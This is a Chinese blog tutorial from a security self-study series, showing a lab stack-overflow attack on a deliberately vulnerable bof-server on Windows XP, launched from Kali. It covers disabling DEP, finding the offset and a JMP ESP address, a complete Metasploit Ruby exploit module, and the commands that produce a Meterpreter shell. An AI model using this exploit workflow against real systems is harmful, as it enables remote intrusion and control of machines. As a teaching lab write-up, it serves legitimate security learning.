您的位置:首页 > 编程语言 > ASP

[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell

2020-03-04 22:37 1721 查看

这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步。前文分享了虚拟机基础知识,包括XP操作系统安装、文件共享设置、网络快照及网络设置等。这篇文章将讲解了如果搭建XP和Kali环境,并通过Windows漏洞实现栈溢出攻击,通过Metasploit反弹shell,从而Kali系统获取了XP系统的shell。该栈溢出的具体流程包括:

  • XP系统与Kali网络配置
  • 实现简单栈溢出实验,使用Msfconsole进入msf控制台
  • 任意非00的指令覆盖buffer和EBP
  • 从程序已经加载的dll中获取他们的jmp esp指令地址
  • 使用jmp esp的指令地址覆盖ReturnAddress
  • 从下一行开始填充Shellcode
  • 编写Ruby攻击脚本提权

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

PS:本文参考了安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

下载地址:https://github.com/eastmountyxz/NetworkSecuritySelf-study
工具地址:https://github.com/eastmountyxz/Security-Software-Based


文章目录

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码

前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包

一.XP系统与Kali网络配置

本实验目的是Kali系统利用Windows XP栈溢出漏洞,以Metasploit溢出bof-server.exe为例,进行攻击及shell反弹。在进行所有实验之前,需要保证虚拟机各系统之间能够相互通信,安装过程详见之前的文章。

第一步,点击“虚拟机”->“设置”。

第二步,将XP和Kali网络连接属性均勾选成“NAT模式”,然后点击确定。

第三步,配置后在kali的shell上用ifconfig命令查看主机IP。

  • Kali:ifconfig 192.168.44.129

第四步,在Windows的命令行中用ipconfig查看主机IP。

  • XP:ipconfig 192.168.44.130

同时,主机Win10系统也能够Ping通虚拟机和Kali系统。


二.简单栈溢出实验

bof-serve下载地址:https://github.com/eastmountyxz/Security-Software-Based


第一步,在主机Win10系统中设置共享文件夹,将bof-serve.exe共享给虚拟机中的XP系统。

第二步,在XP系统下载该软件至E盘,并在CMD中运行该软件。

bof-server.exe 4242
此时XP系统为服务端,开启4242端口处于监听状态。

第三步,Windows XP SP3关闭堆栈执行保护(DEP)保护。

栈溢出保护
它是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。

右键“我的电脑”,点击“属性”,然后在“高级”中选择“启动和故障恢复设置”,如下图所示:

节点点击“编辑”按钮,弹出boot.ini文件。

代码如下:

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"
/noexecute=optin /fastdetect

我们将“noexecute=optin”修改为“noexecute=AlwaysOff”,表示关闭DEP堆栈执行保护。

第四步,在Kali系统中设置远程连接。

telnet 192.168.44.130 4242

此时远程连接成功,输入“version”可以看到XP系统中bof-server的版本信息。

同样,XP系统可以看到目标客户端Kali系统(192.168.44.129)已经连接。

第五步,用python生成1024个A,并且发送这些字符串给XP系统。

python -c "print('A'*1024)"

注意通过telnet连接XP系统,然后发送这1024个字符串。

第六步,观察XP系统,会返现bof-server.exe产生崩溃。

第七步,检查错误原因发现偏移处是41414141,这正是A的ascii码,说明发生了溢出。


三.使用Msfconsole进入msf控制台

Msfconsole提供了一个一体化的集中控制台。通过msfconsole,你可以访问和使用所有的metasploit的插件、payload、利用模块、post模块等。Msfconsole还有第三方程序的接口,比如nmap、sqlmap等,可以直接在msfconsole里面使用。 在启动MSF终端之后,可以首先输入help命令列出MSF终端所支持的命令列表,包括核心命令集和后端数据库命令集。对于其中的大部分命令,你可以输入help[COMMAND],进一步查看该命令的使用帮助信息。


第一步,输入Msfconsole打开msf。

msfconsole

第二步,输入search ms08-067查找漏洞。大家简单了解其功能,后续会写一篇文章专门分享。

search ms08-067

第三步,使用Metasploit中的pattern_create.rb脚本生成字符序列。

首先我们查看以下pattern_create.rb脚本的帮助信息,在Kali命令行输入如下信息:

root@binghe:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -h
Usage: msf-pattern_create [options]
Example: msf-pattern_create -l 50 -s ABC,def,123
Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf

Options:
-l, --length <length>            The length of the pattern
-s, --sets <ABC,def,123>         Custom Pattern Sets
-h, --help                       Show this message

在msf控制台中输入以下命令生成字符序列。

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024

第四步,调用telnet远程连接XP系统,并将生成的内容复制发送。

第五步,确定溢出点位置。
使用pattern_create.rb产生1024个有序的字符,用同样的方式发送到XP系统,发现Offset位置为“72413372”。

此时的偏移是“72413372”,也就是说可以利用这个偏移来定位Buf的长度。任意非00的指令覆盖buffer和EBP,其结构我们再观察一遍Payload结构,如下图所示。

第六步,调用文件pattern_offset.rb计算偏移量,其offset准确字节数量为520。

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 72413372 -l 1024

这里我们用到的工具是Metasploit下的pattern_offset.rb,查看pattern_offset.rb脚本的帮助信息如下:

root@binghe:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -h
Usage: msf-pattern_offset [options]
Example: msf-pattern_offset -q Aa3A
[*] Exact match at offset 9

Options:
-q, --query Aa0A                 Query to Locate
-l, --length <length>            The length of the pattern
-s, --sets <ABC,def,123>         Custom Pattern Sets
-h, --help                       Show this message

其中参数“-q”是要查询的地址,参数“-l”是要查询的字符序列的长度。我们对应的地址为72413372,生成的字符序列的长度为1024,其命令为:

msf5 > /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 72413372 -l 1024
[*] Exact match at offset 520

最终得出结果为520。


四.分析bof-serve运行加载的DLL文件

使用pattern_offset计算得到长度是第520位。接下来寻找一个jmp esp的地址,用Immunity Debugger调试工具打开bof-server查看其调用的dll文件,这里选取WS2_32.dll这个文件。

下载地址或github:http://www.immunityinc.com/products/debugger/


第一步,通过文件共享功能将Immunity Debugger软件分享给XP系统。

第二步,安装并打开Immunity Debugger软件,点击“File”->“Attach”,显示目标机上运行的所有进程。

第三步,运行XP系统的服务程序bof-server.exe,端口为4242,处于监听状态。

第四步,查看XP系统上的所有进程,找到名称为bof-server.exe的进程并查看。

第五步,选中bof-server.exe进程,单击右下角的Attach按钮。

此时,显示bof-server.exe的运行信息如下:

第六步,选择“View”->“Executable modules”菜单。

点击后的效果如下图所示:

这里,就是bof-server.exe运行加载的所有DLL文件了。这里我们选择一个ws2_32.dll文件上传到Kali的root目录下。复制的方法包括:

  • 文件共享
  • 百度网盘链接下载
  • 远程服务传送

ws2_32.DLL复制到Kali的目录,如下图所示:


五.通过Metasploit查找JMP ESP指令的地址

接下来,我们需要通过工具Metasploit下的msfbinscan查找JMP ESP指令的地址。

Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。

推荐CSDN谢公子大神的文章,后面我也会学习分享一篇:
Metasploit Framework(MSF)的使用 - 谢公子


第一步,进入msf命令行,在Kali终端下输入“msfconsole”命令。

查看msfbinscan的帮助信息,如下:

msf > msfbinscan -h
[*] exec: msfbinscan -h

Usage: /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/bin/msfbinscan [mode] <options> [targets]

Modes:
-j, --jump [regA,regB,regC]      Search for jump equivalent instructions        [PE|ELF|MACHO]
-p, --poppopret                  Search for pop+pop+ret combinations            [PE|ELF|MACHO]
-r, --regex [regex]              Search for regex match                         [PE|ELF|MACHO]
-a, --analyze-address [address]  Display the code at the specified address      [PE|ELF]
-b, --analyze-offset [offset]    Display the code at the specified offset       [PE|ELF]
-f, --fingerprint                Attempt to identify the packer/compiler        [PE]
-i, --info                       Display detailed information about the image   [PE]
-R, --ripper [directory]         Rip all module resources to disk               [PE]
--context-map [directory]    Generate context-map files                     [PE]

Options:
-A, --after [bytes]              Number of bytes to show after match (-a/-b)    [PE|ELF|MACHO]
-B, --before [bytes]             Number of bytes to show before match (-a/-b)   [PE|ELF|MACHO]
-I, --image-base [address]       Specify an alternate ImageBase                 [PE|ELF|MACHO]
-D, --disasm                     Disassemble the bytes at this address          [PE|ELF]
-F, --filter-addresses [regex]   Filter addresses based on a regular expression [PE]
-h, --help                       Show this message
msf >

第二步,输入如下命令来获取JMP ESP指令的地址。

msf > msfbinscan --jump esp ./ws2_32.dll
[*] exec: msfbinscan -jump esp ./ws2_32.dll

[./ws2_32.dll]
0x71a22b53 push esp; ret
msf >

可以看到,我们得出的JMP ESP指令的地址为:0x71a22b53。


六.编写Ruby攻击脚本及反弹Shell

接着编写攻击脚本,其代码为bof_attack.rb,使用该脚本得到shell。源代码如下所示:

require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' 		=> 'Stack Based Buffer Overflow Example',
'Description' 	=> %q{
Stack Based Overflow Example Application Exploitation Module
},
'Platform' 		=> 'Windows',
'Author' 		=> 'yanhan',

'Payload' 		=>
{
'space' => 1000,
'BadChars' => "\x00\xff"
},
'Targets'  		=>
[
[
'Windows XP SP3',
{'Ret' => find it, 'Offset' => find it}
]
],
'DisclosureDate' => '2019-05-25'
))
end

def exploit
connect
buf = make_nops(target['Offset'])
buf = buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
sock.put(buf)
handler
disconnect
end
end

需要注意核心代码:

'Targets' =>
[
['Windows XP SP3',
{'Ret' => 0x71a22b53, 'Offset' => 520}
]
],

其中,Ret的值要和第五部分中找到的JMP ESP指令的地址一致,Offset的值要和第三步中找出的准确字节数一致。对应为:

  • ‘Ret’ => 0x71a22b53
  • ‘Offset’ => 520

第一步,将Ruby脚本上传至Kali系统。

第二步,将bof_attack.rb脚本上传到Kali的/usr/share/metasploit-framework/modules/exploits/windows/meterpreter/目录下。

下面代码是创建文件夹meterpreter,再复制Ruby脚本至该文件夹的过程,同时查看了各级目录的内容,加深读者的印象。

cd /usr/share
ls

cd metasploit-framework/modules/exploits
ls

cd windows
ls

发现不存在该文件夹之后,调用“mkdir meterpreter”创建文件夹。

mkdir meterpreter
cd meterpreter
ls

调用命令复制至该文件夹。

cp ./bof_attack.rb /usr/share/metasploit-framework/modules/exploits/windows/meterpreter/
cd /usr/share/metasploit-framework/modules/exploits/windows/meterpreter/
ls


第三步,运行攻击脚本并拿到了目标服务器的Meterpreter Shell。

  • 启动msf控制台
    msfconsole
  • 运行ruby脚本
    use exploit/windows/meterpreter/bof_attack.rb
  • 设置目标服务器IP地址(Windows XP系统)
    set RHOST 192.168.44.130
  • 设置目标服务器端口
    set RPORT 4242
  • 查看配置信息
    show options

第四步,调用exploit命令对栈溢出漏洞进行攻击。再输入ls,可以看到我们目标XP服务器的E盘内容已经被提权,这就是所谓的Windows漏洞利用。

补充谢公子大神的Exploit内容:

上面“ls”命令对应的内容即为XP系统E盘的文件,如下图所示:

需要注意,我们在执行这些操作过程中,XP系统的bof-server.exe需要一直运行,处于监听状态。某些情况可能会提示错误“Exploit completed, but no session was created”,如下图所示:

查看目标机的bof-server.exe命令行的缓冲区溢出并断开了监听。建议大家在目标机上多运行几次bof-server.exe和在Kali上多运行几次exploit,直到成功拿到Meterpreter Shell。


七.总结

文章写到这里,就介绍完毕,希望文章对您有所帮助,尤其是文章扩展的几个工具,您下来也可以详细学习。这篇文章主要讲解了如果搭建XP和Kali环境,并通过Windows漏洞实现栈溢出攻击,通过Metasploit反弹shell,从而Kali系统获取了XP系统的shell。该栈溢出的具体流程包括:

  • 任意非00的指令覆盖buffer和EBP
  • 从程序已经加载的dll中获取他们的jmp esp指令地址。
  • 使用jmp esp的指令地址覆盖ReturnAddress
  • 从下一行开始填充Shellcode

虽然是非常基础的一篇文章,但希望读者阅读并完成文章的实验。接下来作者将继续学习并分享更多的Windows漏洞利用或网络安全的文章。最后给出相关的命令。

希望这系列文章对您有所帮助,真的感觉自己技术好菜,要学的知识好多。这是第54篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,作为初学者,自己真是爬着前行,感谢很多人的帮助,继续爬着,继续加油!

欢迎大家讨论,是否觉得这系列文章帮助到您!如果存在不足之处,还请海涵。任何建议都可以评论告知读者,共勉~

武汉加油!湖北加油!中国加油!!!

(By:Eastmount 2020-03-01 凌晨1点写于贵阳 http://blog.csdn.net/eastmount )

参考文献:
[1] 《软件安全》课程Windows漏洞利用实验 YH师弟
[2] NAT模式和桥接模式实现局域网其他物理机器与Vmware虚拟机互相访问 - davidhzq
[3] 解读Linux安全机制之栈溢出保护 - macwe
[4] 渗透之——使用Metasploit实现对缓冲区栈的溢出攻击 - 冰河
[5] Metasploit Framework(MSF)的使用 - 谢公子
[6] msfconsole 控制台使用和操作 - xianjie0318
[7] smb(ms17-010)远程命令执行之msf - backlion
[8] https://github.com/eastmountyxz/Security-Software-Based

  • 点赞 6
  • 收藏
  • 分享
  • 文章举报
Eastmount 博客专家 发布了437 篇原创文章 · 获赞 5715 · 访问量 474万+ 他的留言板 关注
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐